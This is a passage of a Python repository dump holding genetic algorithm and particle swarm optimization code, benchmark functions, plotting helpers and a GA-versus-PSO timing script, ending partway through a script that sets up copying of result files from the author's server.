0.6016986966133118, "alphanum_fraction": 0.6188347339630127, "avg_line_length": 30.359813690185547, "blob_id": "491369a996ab1b4a36855c0fd5e656d723e09064", "content_id": "7af17ff6ed836373b28689920222f4f81e853783", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6711, "license_type": "permissive", "max_line_length": 94, "num_lines": 214, "path": "/tests/timing_comparison.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nimport sys\nsys.path.append(\"../functions\")\nsys.path.append(\"../utils\")\nsys.path.append(\"../genetic_algorithm\")\nsys.path.append(\"../particle_swarm_optimization\")\n\nfrom oa_utils import optimize_settings\n\nimport genetic_algorithm\nimport ga_settings\nimport particle_swarm_optimization\nimport pso_settings\n\nimport ackley_function\nimport easom_function\nimport griewank_function\nimport rosenbrock_function\n\ndef num_parts_vs_time(o_algorithm, settings, o_function, num_particles, plot=False):\n algorithm_name = o_algorithm.get_name()\n func_name = o_function.func_globals['__name__'].replace('_', ' ').title()\n\n times = []\n accuracy = []\n\n optimize_settings(settings)\n settings['num_iterations'] = 100\n\n for test in num_particles:\n settings['population_size'] = test\n\n algorithm = o_algorithm(settings, o_function)\n\n algorithm.start_timer()\n algorithm.run()\n algorithm.stop_timer()\n\n times.append(algorithm.get_time())\n accuracy.append(algorithm.get_best_x().get_fval())\n\n if plot:\n plt.title(\"%s Number of Particles vs Time on %s\" % (algorithm_name, func_name))\n plt.xlabel(\"Number of Particles\")\n plt.ylabel(\"Time (Seconds)\")\n\n plt.plot(num_particles, times, 'r-')\n plt.show()\n\n return (times, accuracy)\n\ndef cmp_num_parts_vs_time(o_algorithm1, o_algorithm2, \\\n settings1, settings2, o_function, num_particles):\n func_name = o_function.func_globals['__name__'].replace('_', ' ').title()\n times1 = []\n times2 = []\n accuracy1 = []\n accuracy2 = []\n\n optimize_settings(settings1)\n optimize_settings(settings2)\n\n for test in num_particles:\n\n t, acc = num_parts_vs_time(o_algorithm1, settings1, o_function, [test], False)\n times1.append(t)\n accuracy1.append(acc)\n\n\n t, acc = num_parts_vs_time(o_algorithm2, settings2, o_function, [test], False)\n times2.append(t)\n accuracy2.append(acc)\n\n # timing plot\n time_fig = plt.figure()\n time_ax = time_fig.add_subplot(111)\n time_ax.set_title(\"GA vs. PSO timing on %s\" % func_name)\n time_ax.set_xlabel(\"Number of Particles\")\n time_ax.set_ylabel(\"Time (seconds)\")\n time_ax.plot(num_particles, times1, 'g-')\n time_ax.plot(num_particles, times2, 'r-')\n time_ax.legend(['GA', 'PSO'])\n # accuracy plot\n acc_fig = plt.figure()\n acc_ax = acc_fig.add_subplot(111)\n acc_ax.set_title(\"GA vs. PSO accuracy on %s\" % func_name)\n acc_ax.set_xlabel(\"Number of Particles\")\n acc_ax.set_ylabel(\"Objective Function Value\")\n acc_ax.plot(num_particles, accuracy1, 'g-')\n acc_ax.plot(num_particles, accuracy2, 'r-')\n acc_ax.legend(['GA', 'PSO'])\n\n plt.ylim(0, 1)\n plt.show()\n\n return (times1, times2)\n\ndef num_dims_vs_time(o_algorithm, settings, o_function, num_dims, plot=False):\n algorithm_name = o_algorithm.get_name()\n func_name = o_function.func_globals['__name__'].replace('_', ' ').title()\n\n times = []\n accuracy = []\n\n optimize_settings(settings)\n\n for test in num_dims:\n # create bounds\n bounds = []\n for i in range(0, test):\n bounds.append((-10,10))\n settings['number_of_dimensions'] = test\n settings['bounds'] = bounds\n\n algorithm = o_algorithm(settings, o_function)\n\n algorithm.start_timer()\n algorithm.run()\n algorithm.stop_timer()\n\n times.append(algorithm.get_time())\n accuracy.append(algorithm.get_best_x().get_fval())\n\n if plot:\n # timing plot\n time_fig = plt.figure()\n time_ax = time_fig.add_subplot(111)\n plt.title(\"%s Number of Dimensions vs Time on %s\" % (algorithm_name, func_name))\n time_ax.set_xlabel(\"Number of Dimensions\")\n time_ax.set_ylabel(\"Time (seconds)\")\n time_ax.plot(num_dims, times, 'g-')\n # accuracy plot\n acc_fig = plt.figure()\n acc_ax = acc_fig.add_subplot(111)\n plt.title(\"%s Number of Dimensions vs Accuracy on %s\" % (algorithm_name, func_name))\n acc_ax.set_xlabel(\"Number of Dimensions\")\n acc_ax.set_ylabel(\"Objective Function Value\")\n acc_ax.plot(num_dims, accuracy, 'g-')\n\n plt.show()\n\n return (times, accuracy)\n\ndef cmp_num_dims_vs_time(o_algorithm1, o_algorithm2, \\\n settings1, settings2, o_function, num_dims):\n func_name = o_function.func_globals['__name__'].replace('_', ' ').title()\n\n times1 = []\n times2 = []\n accuracy1 = []\n accuracy2 = []\n\n for test in num_dims:\n # test first algorithm\n t, acc = num_dims_vs_time(o_algorithm1, settings1, o_function, [test], False)\n times1.append(t)\n accuracy1.append(acc)\n\n # test second algorithm\n t, acc = num_dims_vs_time(o_algorithm2, settings2, o_function, [test], False)\n times2.append(t)\n accuracy2.append(acc)\n\n # timing plot\n time_fig = plt.figure()\n time_ax = time_fig.add_subplot(111)\n time_ax.set_title(\"GA vs. PSO timing on %s\" % func_name)\n time_ax.set_xlabel(\"Number of Dimensions\")\n time_ax.set_ylabel(\"Time (seconds)\")\n time_ax.plot(num_dims, times1, 'g-')\n time_ax.plot(num_dims, times2, 'r-')\n time_ax.legend(['GA', 'PSO'])\n # accuracy plot\n acc_fig = plt.figure()\n acc_ax = acc_fig.add_subplot(111)\n acc_ax.set_title(\"GA vs. PSO accuracy on %s\" % func_name)\n acc_ax.set_xlabel(\"Number of Dimensions\")\n acc_ax.set_ylabel(\"Objective Function Value\")\n acc_ax.plot(num_dims, accuracy1, 'g-')\n acc_ax.plot(num_dims, accuracy2, 'r-')\n acc_ax.legend(['GA', 'PSO'])\n\n plt.show()\n\n return (times1, times2)\n\nif __name__ == \"__main__\":\n bounds = [(-10,10), (-10,10)]\n\n ga_algorithm = genetic_algorithm.GA\n ga_s = ga_settings.settings\n ga_s['num_iterations'] = 100\n ga_s['num_particles'] = 50\n ga_s['number_of_dimensions'] = 2\n ga_s['bounds'] = bounds\n\n pso_algorithm = particle_swarm_optimization.PSO\n pso_s = pso_settings.settings\n pso_s['num_iterations'] = 100\n pso_s['num_particles'] = 50\n pso_s['number_of_dimensions'] = 2\n pso_s['bounds'] = bounds\n\n o_function = ackley_function.objective_function\n num_particles = [10, 20, 30, 40, 50, 100]\n #num_parts_vs_time(pso_algorithm, pso_s, o_function, num_particles, True)\n cmp_num_parts_vs_time(ga_algorithm, pso_algorithm, ga_s, pso_s, o_function, num_particles)\n\n sys.exit()\n\n num_dims = [2, 5, 10, 25, 50]\n #num_dims_vs_time(ga_algorithm, ga_s, o_function, num_dims, True)\n #num_dims_vs_time(pso_algorithm, pso_s, o_function, num_dims, True)\n cmp_num_dims_vs_time(ga_algorithm, pso_algorithm, ga_s, pso_s, o_function, num_dims)\n" }, { "alpha_fraction": 0.5932835936546326, "alphanum_fraction": 0.5970149040222168, "avg_line_length": 18.14285659790039, "blob_id": "dba396fa15d83cdf3913b0feb7cb73d8ab22f742", "content_id": "743abd55d4d0be6dad21e41e43cda0ced6dc7783", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 268, "license_type": "permissive", "max_line_length": 47, "num_lines": 14, "path": "/utils/regression_utils.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "# helper functions\n\n# y = Xb\n# b = ((X'X)^-1)X'y\ndef get_regression_coef(X, y):\n import numpy as np\n\n XtX = np.matmul(X.transpose(), X)\n XtXinv = np.linalg.inv(XtX)\n XtXinvXt = np.matmul(XtXinv, X.transpose())\n\n b = np.matmul(XtXinvXt, y)\n\n return b\n" }, { "alpha_fraction": 0.6691604256629944, "alphanum_fraction": 0.6866167783737183, "avg_line_length": 33.371429443359375, "blob_id": "7bf3e502ea788f36639878f6020c537d509fcd0c", "content_id": "6d010a80fbf6a930d3c8115f1563dcd3cff6ca60", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1203, "license_type": "permissive", "max_line_length": 71, "num_lines": 35, "path": "/examples/example_plot.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import sys # need sys for the next line\nsys.path.append(\"../utils\") # add the utils dir to the python path\n# then we can import PlotUtils\nfrom plot_utils import PlotUtils\n\n# you could import settings from a separate file like so\nfrom settings import settings\n\n# plot util variable. probably make this an instance\n# variable in a class\nplotutils = None\n\nif settings['plot']:\n try:\n # Create PlotUtils instance\n # 2 params. number of dimensions and an array of 2D lists with\n # the bounds for each dimension. ex [(-10,10), (-10,10)]\n plotutils = PlotUtils(settings['num_dims'], settings['bounds'])\n except ValueError:\n print(\"Can not plot more than 2 dimensions!\")\n # set this to false so that we don't try to use\n # the plotutils variable later on\n settings['plot'] = False\n\n# data should be an array of 2D lists with x1 and x2 data\ndata = [(1,1),(8,4),(-4,-9)]\n\n# open or update plot\nif settings['plot']:\n plotutils.plot(data)\n\n# you can put plotutils.plot(data) in a loop and continually update\n# the plot. Here I just wait for you to press enter, after which the\n# plot will close\nraw_input(\"Press Enter to Exit\") # Python 2 user input\n" }, { "alpha_fraction": 0.5448976755142212, "alphanum_fraction": 0.5514650344848633, "avg_line_length": 36.08665084838867, "blob_id": "69dfb8957bd6878d079dcfe364bafa1a96f639fd", "content_id": "3bdbda216420d8e83c9eb0708f3de29a9e0adff7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15836, "license_type": "permissive", "max_line_length": 103, "num_lines": 427, "path": "/genetic_algorithm/genetic_algorithm.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import argparse # parsing command line arguments\nimport importlib # dynamically importing modules\nimport random # randint\nimport time # delay & timing\nfrom math import log # used in mutation\n\nimport sys # to exit and append to path\nsys.path.append('../utils')\nsys.path.append('../functions')\n\nimport oa_utils # optimization algorithm utils\nfrom timer import Timer\nfrom plot_utils import PlotUtils # plotting each iteration if plot is True\n\nclass Organism:\n \"\"\"One organsim to be used with genetic algorithm. Keeps\n track of the following attributes:\n\n Attributes:\n id: A number that specifies an id\n pos: An array of floats defining the organisms position is space.\n func: A function to call to calculate this organisms fitness\n \"\"\"\n\n def __init__(self, id, pos, func):\n self.id = id\n self.pos = pos\n self.func = func\n self.fitness = self.get_fval()\n\n def __str__(self):\n x_str = \"[\"\n for x in self.pos:\n x_str += \"%6.3f \" % x\n x_str += \"]\"\n return \"(id: %d, fitness: %7.4f, X: %s)\" % \\\n (self.id, self.fitness, x_str)\n\n # TODO to make this a class function with a pos parameter??\n def get_fval(self):\n return self.func(self.pos)\n\nclass GA(Timer, object):\n \"\"\"A genetic algorithm class that contains methods for handling\n the population over generations/iterations\n\n Attributes:\n There are not attributes for this class. All settings/attributes\n are read in from ga_settings.py which should be located in the same\n directory as this file\n\n NOTE: The GA methods assume the population array is sorted\n \"\"\"\n\n def __init__(self, settings, function): # TODO add settings parameter\n super(self.__class__, self).__init__()\n\n # read in settings\n num_dims = settings['number_of_dimensions']\n population_size = settings['population_size']\n bounds = settings['bounds']\n\n # check to make sure num_dims and number of bounds provided match\n if len(bounds) != num_dims:\n raise ValueError(\"Number of dimensions doesn't match number of bounds provided\")\n\n # set instance variables\n self.settings = settings\n self.function = function\n # initialize population\n self.population = GA.__gen_population(bounds, population_size, function)\n self.total_organisms = len(self.population)\n self.best_x = self.population[0]\n self.num_generations = 1\n # stopping criteria variables\n self.func_val_improvement = 0\n self.num_iter_since_improvement = 0\n\n if settings['plot']:\n try:\n self.plotutils = PlotUtils(num_dims, bounds, function)\n self.__plot_state()\n except ValueError:\n print(\"Can not plot more than 2 dimensions\")\n settings['plot'] = False\n\n if settings['print_iterations']:\n self.__display_state()\n\n if settings['step_through']:\n oa_utils.pause()\n\n# def __del__(self):\n# del(self.plotutils)\n#\n @staticmethod\n def __gen_organism(id, bounds, function):\n # use gen_random_numbers to get a list of positions within the bounds\n return Organism(id, oa_utils.gen_random_numbers(bounds), function)\n\n @staticmethod\n def __gen_population(bounds, size, function):\n b = bounds\n f = function\n # generate a list of organisms\n p = [GA.__gen_organism(i+1, b, f) for i in range(0, size)]\n return GA.__sort_population(p)\n\n @staticmethod\n def __sort_population(p):\n return sorted(p, key=lambda o: o.fitness)\n\n ###########################\n ### GA steps and loop ###\n ###########################\n\n '''\n Three possible ways of doing this.\n 1. have a setting that says we kill of last 20% of array or population\n 2. the further you are down the array the higher your probability of dieing\n 3. kill off the worst based on their distance from the best\n TODO write a test for this. simple 10 population w/ .5 cutoff test will do\n '''\n @staticmethod\n def __selection(population, cutoff, print_action=False):\n size = len(population)\n max_f = population[0].fitness\n min_f = population[size-1].fitness\n\n # denominator in probability of surviving\n den = (max_f - min_f)\n # if den == 0:\n # print(\"Every organism has same objective function value.\")\n\n for (i, organism) in enumerate(population):\n f = organism.fitness\n\n # check for division by zero\n if den == 0:\n normalized_f = 0\n else: # get normalized value\n normalized_f = float(f - min_f) / den\n\n if normalized_f > cutoff:\n # delete the organism from the population\n del population[i]\n\n if print_action:\n print(\"Selection: Deleting organism %s\" % str(organism))\n\n return population\n\n @staticmethod\n def __get_parent_index(cdf_value, arr):\n norm_sum = 0\n for i, o in enumerate(arr):\n norm_sum += o['probability']\n if norm_sum >= cdf_value:\n return i\n return -1\n\n @staticmethod\n def __mate_parents(id, parent1, parent2, function):\n n = len(parent1.pos)\n # randomly choose split position\n split = random.randint(0, n-1)\n # split parent positions\n pos1 = parent1.pos[0:split] + parent2.pos[split:]\n pos2 = parent2.pos[0:split] + parent1.pos[split:]\n # get id numbers\n id1 = id + 1\n id2 = id + 2\n # return the two newly created organisms\n return (Organism(id1, pos1, function), Organism(id2, pos2, function))\n\n \"\"\"\n population: population\n size: size that the population should be after crossover\n NOTE: population must be sorted. crossover will return an unsorted\n array of the new population.\n \"\"\"\n @staticmethod\n def __crossover(id, population, size, function, print_action=False):\n new_population = []\n length = len(population)\n max_f = population[length-1].fitness\n min_f = population[0].fitness\n\n den = max_f - min_f\n\n # if size is odd\n if size % 2 == 1:\n raise ValueError(\"Populations with an odd size hasn't been implemented. Talk to Jesse\")\n\n # get inversed normalized values of fitness\n # normalized value of 1 is the best. 0 is the worst\n probabilities = []\n normalized_sum = 0.0\n for o in population:\n if den == 0:\n normalized_f = 1\n else:\n normalized_f = (max_f - o.fitness)/den\n normalized_sum += normalized_f\n probabilities.append({'normalized_f': normalized_f})\n\n # calculate weight of each normalized value\n for i, p in enumerate(probabilities):\n probabilities[i]['probability'] = probabilities[i]['normalized_f']/normalized_sum\n\n # generate new population\n while len(new_population) < size:\n # get cdf input values\n cdf1 = random.random()\n cdf2 = random.random()\n # get index of parent from output of cdf\n i = GA.__get_parent_index(cdf1, probabilities)\n j = GA.__get_parent_index(cdf2, probabilities)\n # mate parents\n child1, child2 = GA.__mate_parents(id, population[i], population[j], function)\n id += 2\n # append children to new_population\n new_population.extend((child1, child2))\n\n if print_action:\n for organism in new_population:\n print(\"Crossover: New oganism %s\" % str(organism))\n\n return new_population\n\n @staticmethod\n def __mutation(population, bounds, rate, max_mutation_amount, print_action=False):\n for organism in population:\n if random.random() < rate:\n new_pos = []\n # for each dimension\n for i in range(0, len(bounds)):\n # take some percentage of the max mutation amount\n x = random.uniform(0.01, 1.00)\n delta_pos = (-1.0*log(1-x))*max_mutation_amount\n # should we go positive or negative\n if random.randint(0,1) == 1: delta_pos = -1.0*delta_pos\n new_dim_pos = organism.pos[i] + delta_pos\n # cap where we can go if we are beyond the bounds of the design space\n if new_dim_pos < bounds[i][0]:\n new_dim_pos = bounds[i][0]\n elif new_dim_pos > bounds[i][1]:\n new_dim_pos = bounds[i][1]\n\n new_pos.append(new_dim_pos)\n\n if print_action:\n new_pos_str = \"[\"\n for x in new_pos:\n new_pos_str += \"%6.3f \" % x\n new_pos_str += \"]\"\n print(\"Mutation: Moving organism %s to %s\" % \\\n (str(organism), new_pos_str))\n\n organism.pos = new_pos\n organism.fitness = organism.get_fval()\n\n return population\n\n def __display_state(self):\n print(\"The best organism in generation %d is %s\" \\\n % (self.num_generations, str(self.get_best_x())))\n\n def __plot_state(self):\n pts = [(organism.pos[0], organism.pos[1]) for organism in self.population]\n self.plotutils.plot(pts)\n\n def __str__(self):\n return \"Iteration %d Best Fitness: %8.4f by organism %s\" % \\\n (self.num_generations, self.get_best_f(), str(self.get_best_x()))\n\n ####################################\n # These are the only methods that #\n # should be called outside of this #\n # class #\n ####################################\n def get_best_x(self):\n return self.best_x\n\n def get_best_f(self):\n return self.best_x.fitness\n\n def do_loop(self):\n population = self.population\n\n population = GA.__selection(population, \\\n self.settings['selection_cutoff'], \\\n self.settings['print_actions'])\n\n population = GA.__crossover(self.total_organisms, \\\n population, \\\n self.settings['population_size'], \\\n self.function, \\\n self.settings['print_actions'])\n self.total_organisms += len(population)\n\n population = GA.__mutation(population, \\\n self.settings['bounds'], \\\n self.settings['mutation_rate'], \\\n self.settings['max_mutation_amount'], \\\n self.settings['print_actions'])\n\n self.population = GA.__sort_population(population)\n self.num_generations += 1\n\n if self.population[0].fitness < self.best_x.fitness:\n # add on the improvement in function value\n self.func_val_improvement += (self.best_x.fitness - self.population[0].fitness)\n self.best_x = self.population[0]\n\n if self.settings['plot']:\n self.__plot_state()\n\n if self.settings['print_iterations']:\n self.__display_state()\n\n if self.settings['step_through']:\n oa_utils.pause()\n\n def run(self):\n # iterate over generations\n while self.settings['num_iterations'] > self.num_generations:\n self.do_loop()\n\n # check if we've improved our function value\n if self.func_val_improvement > self.settings['stopping_criteria']:\n self.func_val_improvement = 0\n self.num_iter_since_improvement = 0\n else:\n self.num_iter_since_improvement += 1\n\n # check if we haven't improved at all in num of stopping criteria steps\n if self.num_iter_since_improvement > self.settings['num_iter_stop_criteria']:\n if self.settings['print_actions'] or self.settings['print_iterations']:\n print(\"Stopping criteria met after %d number of iterations\" % self.num_generations)\n break\n\n # pause for a bit if setting is set\n time.sleep(self.settings['time_delay'])\n\n if self.num_generations > self.settings['num_iterations']:\n if self.settings['print_actions'] or self.settings['print_iterations']:\n print(\"Maximum number of iterations hit (%d)\" % self.num_generations)\n\n @staticmethod\n def get_name():\n return \"Genetic Algorithm\"\n\n########################################################################################\n# MAIN #\n########################################################################################\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Accept an optional settings file')\n parser.add_argument('--settings', '-s', nargs=1, type=str, \\\n metavar='<file>', help='specify settings file to use')\n parser.add_argument('--function', '-f', nargs=1, type=str, \\\n metavar='<file>', help='specify objective function file to use')\n parser.add_argument('-v', action='store_true', help='print info when method is doing an action')\n parser.add_argument('--time', '-t', action='store_true', help='turn timing on for the algorithm')\n parser.add_argument('--plot', '-p', action='store_true', help='plot each iteration')\n args = parser.parse_args()\n\n function_module = None\n settings_module = None\n\n # get objective function\n if args.function:\n function_module = importlib.import_module(args.function[0])\n else:\n function_module = importlib.import_module('ackley_function')\n function = function_module.objective_function\n\n # get settings\n if args.settings:\n settings_module = importlib.import_module(args.settings[0])\n else:\n settings_module = importlib.import_module('ga_settings')\n settings = settings_module.settings\n\n # if -v is set change the setting\n if args.v:\n settings['print_actions'] = True\n settings['print_iterations'] = True\n\n # check for a couple more command line arguments\n if args.time: settings['time'] = True\n if args.plot: settings['plot'] = True\n\n # --- END OF ARG PARSING --- #\n\n # print a empty line\n print(\"\")\n\n # time initialization\n if settings['time']:\n start_time = time.time()\n\n # create algorithm instance\n ga = GA(settings, function)\n\n if settings['time']:\n print(\" --- Initialized in %s seconds --- \" % (time.time() - start_time))\n if settings['time_delay'] > 0.0 or settings['plot'] \\\n or settings['print_actions'] or settings['print_iterations'] or settings['step_through']:\n print(\"\\n --- WARNING: You are timing with either time_delay, plot, print_actions,\")\n print(\" print_iterations, or step_through enabled. --- \\n\")\n oa_utils.pause()\n ga.start_timer()\n #start_time = time.time()\n\n ga.run()\n\n if settings['time']:\n ga.stop_timer()\n print(\" --- Ran for %s seconds --- \" % (ga.get_time()))\n #print(\" --- Ran for %s seconds --- \" % (time.time() - start_time))\n\n # print out some data\n print(\"\")\n print(str(ga))\n\n sys.exit()\n" }, { "alpha_fraction": 0.5458821058273315, "alphanum_fraction": 0.5502975583076477, "avg_line_length": 34.195945739746094, "blob_id": "c73b6dbdfcf9d06fb15e24e0f7d05eed086f3a76", "content_id": "3c521e6f78751e3a60f00a2786b4ec3581a5693c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10418, "license_type": "permissive", "max_line_length": 130, "num_lines": 296, "path": "/particle_swarm_optimization/particle_swarm_optimization.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import argparse # parsing command line arguments\nimport importlib # dynamically importing modules\nimport random # randint\nimport time # delay & timing\nfrom math import sqrt\nfrom operator import add, attrgetter\nimport copy\n\nimport sys # to exit and append to path\nsys.path.append('../utils')\nsys.path.append('../functions')\n\nimport oa_utils # optimization algorithm utils\nfrom timer import Timer\nfrom plot_utils import PlotUtils # plotting each iteration if plot is True\n\n\"\"\"http://www.swarmintelligence.org/tutorials.php\"\"\"\n\nclass Particle:\n \"\"\"One particle to be used with particle swarm optimization. Keeps\n track of the following attributes:\n\n Attributes:\n id: A number that specifies an id\n pos: An array of floats defining the organisms position is space.\n func: A function to call to calculate this organisms fitness\n \"\"\"\n\n def __init__(self, id, pos, func):\n self.id = id\n self.pos = pos\n self.func = func\n self.velocity = [0 for b in pos]\n self.fval = self.get_fval()\n self.pbest = pos\n\n def __str__(self):\n x_str = \"[\"\n for x in self.pos:\n x_str += \"%6.3f \" % x\n x_str += \"]\"\n return \"(id: %d, fval: %7.4f, X: %s)\" % \\\n (self.id, self.fval, x_str)\n\n def __repr__(self):\n return \"<Particle(%d)>\" % self.id\n\n def __cmp__(self, other):\n return cmp(self.fval, other.get_fval())\n\n # TODO to make this a class function with a pos parameter??\n def get_fval(self):\n return self.func(self.pos)\n\n def get_velocity(self):\n return self.velocity\n\nclass PSO(Timer, object):\n \"\"\"A particle swarm class that contains methods for handling\n the population over iterations\n\n Attributes:\n There are not attributes for this class. All settings/attributes\n are read in from pso_settings.py which should be located in the same\n directory as this file\n \"\"\"\n\n def __init__(self, settings, function): # TODO add settings parameter\n super(self.__class__, self).__init__()\n # read in settings\n\n num_dims = settings['number_of_dimensions']\n population_size = settings['population_size']\n bounds = settings['bounds']\n\n if settings['velocity_type'] == 'constriction':\n phi = max(settings['cp'] + settings['cg'], 4.0)\n self.k = 2.0/abs(2.0 - phi - sqrt(phi*phi - 4.0*phi))\n else:\n self.k = 1\n\n # check to make sure num_dims and number of bounds provided match\n if len(bounds) != num_dims:\n raise ValueError(\"Number of dimensions doesn't match number of bounds provided\")\n\n # set instance variables\n self.settings = settings\n self.function = function\n # initialize population\n self.population = PSO.__gen_population(bounds, population_size, function)\n self.total_population = population_size\n self.best_x = PSO.__get_best_particle(self.population)\n self.num_iterations = 1\n\n if settings['plot']:\n try:\n self.plotutils = PlotUtils(num_dims, bounds, function)\n self.__plot_state()\n except ValueError:\n print(\"Can not plot more than 2 dimensions\")\n settings['plot'] = False\n\n if settings['print_iterations']:\n self.__display_state()\n\n if settings['step_through']:\n oa_utils.pause()\n\n @staticmethod\n def __gen_particle(id, bounds, function):\n # use gen_random_numbers to get a list of positions within the bounds\n return Particle(id, oa_utils.gen_random_numbers(bounds), function)\n\n @staticmethod\n def __gen_population(bounds, size, function):\n b = bounds\n f = function\n # generate a list of organisms\n p = [PSO.__gen_particle(i+1, b, f) for i in range(0, size)]\n return p\n\n ###########################\n ### PSO steps and loop ###\n ###########################\n @staticmethod\n def __update_velocity(population, velocity_type, print_actions, gbest, cp, cg, k, w):\n for p in population:\n if (velocity_type == 'normal'):\n p.velocity = PSO.__get_velocity(1, cp, cg, gbest, p, 1)\n elif (velocity_type == 'inertia'):\n p.velocity = PSO.__get_velocity(k, cp, cg, gbest, p, w)\n elif (velocity_type == 'constriction'):\n p.velocity = PSO.__get_velocity(k, cp, cg, gbest, p, 1)\n return population\n\n @staticmethod\n def __get_velocity(k, c1, c2, gbest, p, w):\n velocity_array = []\n for i, v in enumerate(p.velocity):\n velocity_array.append(k*(w*v + c1*random.random()*(p.pbest[i] - p.pos[i]) + c2*random.random()*(gbest[i] - p.pos[i])))\n return velocity_array\n\n @staticmethod\n def __update_position(population): # TODO put bounds on what position can be updated to\n for p in population:\n p.pos = list(map(add, p.pos, p.velocity))\n p.fval = p.get_fval()\n return population\n\n @staticmethod\n def __get_best_particle(population):\n return copy.deepcopy( min(population, key=attrgetter('fval')) )\n\n def __display_state(self):\n print(\"The best organism in generation %d is %s\" \\\n % (self.num_generations, str(self.get_best_x())))\n\n def __plot_state(self):\n pts = [(organism.pos[0], organism.pos[1]) for organism in self.population]\n self.plotutils.plot(pts)\n\n def __str__(self):\n return \"Best Fitness: %8.4f by particle %s\" % \\\n (self.get_best_f(), str(self.get_best_x()))\n\n ####################################\n # These are the only methods that #\n # should be called outside of this #\n # class #\n ####################################\n def get_best_x(self):\n return self.best_x\n\n def get_best_f(self):\n return self.best_x.fval\n\n def do_loop(self):\n population = self.population\n\n population = PSO.__update_velocity(population, \\\n self.settings['velocity_type'], \\\n self.settings['print_actions'], \\\n self.get_best_x().pos, \\\n self.settings['cp'], \\\n self.settings['cg'], \\\n self.k, \\\n self.settings['weight'])\n\n if self.settings['cg_plus']:\n self.settings['cg'] += 0.1\n phi = max(self.settings['cp'] + self.settings['cg'], 4.0)\n self.k = 2.0/abs(2.0 - phi - sqrt(phi*phi - 4.0*phi))\n\n population = PSO.__update_position(population)\n\n self.num_iterations += 1\n\n self.population = population\n\n current_best = PSO.__get_best_particle(self.population)\n\n if current_best.get_fval() < self.best_x.get_fval():\n self.best_x = current_best\n\n if self.settings['plot']:\n self.__plot_state()\n\n if self.settings['print_iterations']:\n self.__display_state()\n\n if self.settings['step_through']:\n oa_utils.pause()\n\n def run(self):\n # iterate over generations\n while self.settings['num_iterations'] > self.num_iterations:\n self.do_loop()\n time.sleep(self.settings['time_delay'])\n\n @staticmethod\n def get_name():\n return \"Particle Swarm\"\n\n########################################################################################\n# MAIN #\n########################################################################################\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Accept an optional settings file')\n parser.add_argument('--settings', '-s', nargs=1, type=str, \\\n metavar='<file>', help='specify settings file to use')\n parser.add_argument('--function', '-f', nargs=1, type=str, \\\n metavar='<file>', help='specify objective function file to use')\n parser.add_argument('-v', action='store_true', help='print info when method is doing an action')\n parser.add_argument('--time', '-t', action='store_true', help='turn timing on for the algorithm')\n parser.add_argument('--plot', '-p', action='store_true', help='plot each iteration')\n args = parser.parse_args()\n\n function_module = None\n settings_module = None\n\n # get objective function\n if args.function:\n function_module = importlib.import_module(args.function[0])\n else:\n function_module = importlib.import_module('ackley_function')\n function = function_module.objective_function\n\n # get settings\n if args.settings:\n settings_module = importlib.import_module(args.settings[0])\n else:\n settings_module = importlib.import_module('pso_settings')\n settings = settings_module.settings\n\n # if -v is set change the setting\n if args.v:\n settings['print_actions'] = True\n settings['print_iterations'] = True\n\n # check for a couple more command line arguments\n if args.time: settings['time'] = True\n if args.plot: settings['plot'] = True\n\n # --- END OF ARG PARSING --- #\n\n # print a empty line\n print(\"\")\n\n # time initialization\n if settings['time']:\n start_time = time.time()\n\n # create algorithm instance\n pso = PSO(settings, function)\n\n if settings['time']:\n print(\" --- Initialized in %s seconds --- \" % (time.time() - start_time))\n if settings['time_delay'] > 0.0 or settings['plot'] \\\n or settings['print_actions'] or settings['print_iterations'] or settings['step_through']:\n print(\"\\n --- WARNING: You are timing with either time_delay, plot, print_actions,\")\n print(\" print_iterations, or step_through enabled. --- \\n\")\n oa_utils.pause()\n pso.start_timer()\n\n # iterate over generations\n pso.run()\n\n if settings['time']:\n pso.stop_timer()\n print(\" --- Ran for %s seconds --- \" % (pso.get_time()))\n\n # print out some data\n print(\"\")\n print(str(pso))\n\n sys.exit()\n" }, { "alpha_fraction": 0.4971098303794861, "alphanum_fraction": 0.5664739608764648, "avg_line_length": 23.714284896850586, "blob_id": "a1f5e5432f432a88ae4ea240d608c74ca9f70d47", "content_id": "93fe45e63dde0f127307b30c51baee8d859422bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 173, "license_type": "permissive", "max_line_length": 69, "num_lines": 7, "path": "/functions/easom_function.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "from numpy import cos, exp, pi\n\ndef objective_function(params):\n x1 = params[0]\n x2 = params[1]\n\n return ( -1.*cos(x1)*cos(x2)*exp(-1.*((x1-pi)**2 + (x2-pi)**2)) )\n" }, { "alpha_fraction": 0.5849581956863403, "alphanum_fraction": 0.5877437591552734, "avg_line_length": 27.342105865478516, "blob_id": "2bb26aaf40c40801c1bd4b6424fedc3c36889f71", "content_id": "e4d342b71046199ec03cfca32e89255f3f614ab3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2154, "license_type": "permissive", "max_line_length": 73, "num_lines": 76, "path": "/tests/grab_dat_files.py", "repo_name": "jkleve/Optimization-Algoirthms", "src_encoding": "UTF-8", "text": "import subprocess\nimport shutil\nimport os\nimport sys\n\nscp = 'scp'\nport = '3642'\nhost = 'jessekleve.ddns.net'\nsource = '~/oa_tmp_link/tests/'\nfile_ext = '*.dat'\ndest = '../data/ga'\ndest_tmp = '../.tmp'\n\nmv = 'mv'\nackley_dest = '../data/ga/ackley/'\neasom_dest = '../data/ga/easom/'\ngriewank_dest = '../data/ga/griewank/'\nrosenbrock_dest 